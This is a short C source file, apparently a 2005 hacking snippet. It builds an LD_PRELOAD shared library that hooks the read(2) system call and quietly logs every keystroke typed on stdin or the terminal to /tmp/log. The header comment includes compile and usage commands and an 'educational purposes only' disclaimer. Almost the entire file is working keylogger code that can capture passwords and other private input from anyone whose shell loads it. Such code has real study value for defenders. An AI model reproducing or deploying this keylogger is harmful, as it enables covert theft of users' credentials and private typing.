/* * dirty shared hijacking read(2) :-) * * COMPILE * gcc -Wall -ldl -lc -fPIC -shared -o myread.so myread.c * * SUMMARY * the main idea is logging all what you type, * capturing syscall read(2) with ld.so(8) * * USE * $ LD_PRELOAD=./myread.so bash * * DISCLAIMER * for educational purposes only * * AUTHOR * Alejandro Gramajo ( agramajo at gmail dot com ) * 20050212 * */ #include #include #include #include #define REAL_LIBC ((void *) -1L) #define FILELOG "/tmp/log" void logger (char *buf, size_t blen) { FILE *log1 = NULL; if (blen == 1) { log1 = fopen(FILELOG,"a"); setbuffer(log1, NULL, 0); if ( buf[0] >= 0x20 && buf[0] <= 0x7E ) // printable fwrite(buf, blen, 1, log1); else if ( buf[0] == 0x7F || buf[0] == 0x08 ) // BS DEL fprintf(log1, "[BS]"); else if ( buf[0] == 0x0A ) // \n fwrite(buf, 1, 1, log1); else if ( buf[0] == 0x0D ) { // \r fwrite(buf, 1, 1, log1); fprintf(log1, "\n"); } fflush(log1); fclose(log1); } } ssize_t read(int fd, void *buf, size_t count) { ssize_t (*o_read) (int, void *, size_t); int r; o_read = dlsym(REAL_LIBC, "read"); r = o_read(fd, buf, count); if (r > 0) // 0 == stdin // 4 == tty if (fd == 4 || fd == 0) logger(buf, count); return r; }